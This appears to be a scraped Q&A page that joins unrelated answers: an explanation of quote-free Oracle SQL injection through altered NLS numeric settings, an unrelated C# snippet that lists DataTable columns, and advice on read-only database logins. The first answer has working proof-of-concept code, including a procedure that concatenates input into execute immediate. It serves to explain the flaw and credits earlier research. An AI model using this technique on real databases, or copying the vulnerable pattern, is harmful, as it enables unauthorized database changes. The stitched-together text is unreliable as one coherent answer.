Yes, it is possible to perform an SQL injection attack without supplying quotes in the parameter.
The way to do this is with an exploit to do with how numbers and/or dates are processed. You can specify at the session level what the format of a date or number is. By manipulating this you can then inject with any character.
By default in the UK and US, a comma is used to indicate the thousands separator in numbers, and a full stop for the decimal point. You can change these defaults by executing:
alter session set nls_numeric_characters = 'PZ';
This means that "P" is now the decimal point and "Z" is the thousands separator. So:
0P01
Is the number 0.01. However, if you create a function P01, the object reference will be picked up before number conversion. This allows you to execute functions on the database giving you increasing powers, as follows:
Create a basic "get by id" function:
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Also create a function P01 which does something undesirable (in this case just creating a table, but you get the idea):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
And we're good to go:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
No quotes anywhere, but we've still managed to execute the "hidden" function P01 and create the table t
!
While this may be difficult to do in practice (and may require some internal knowledge/help), this does show that you can inject SQL without having to have quotes. Altering the nls_date_format
can allow similar things to be done.
The original findings for numbers were by David Litchfield and you can read his paper here. You can find Tom Kyte's discussion of how dates can be exploited here.
Just pull the DataTable
object(s) and enumerate the DataColumnCollection
. Here is some sample code to show how you can enumerate the collection and dump the column names:
DataTable queryResults = // get your data
foreach (DataColumn column in queryResults.Columns)
Console.WriteLine("Column Name :: {0}", column.ColumnName);
Of course this is an extremely rudimentary illustration, but it shows what you need:
Best Answer
Make sure the application connects to the server using a login that has been given only read permissions (give it the db_datareader role in the database to allow reading all tables), and you should be in good shape. The easiest way to prevent changing data is to ensure the user doesn't have permission to change anything.
Be careful about granting execute permissions, as you may inadvertently allow users to change data depending on what the procedures do.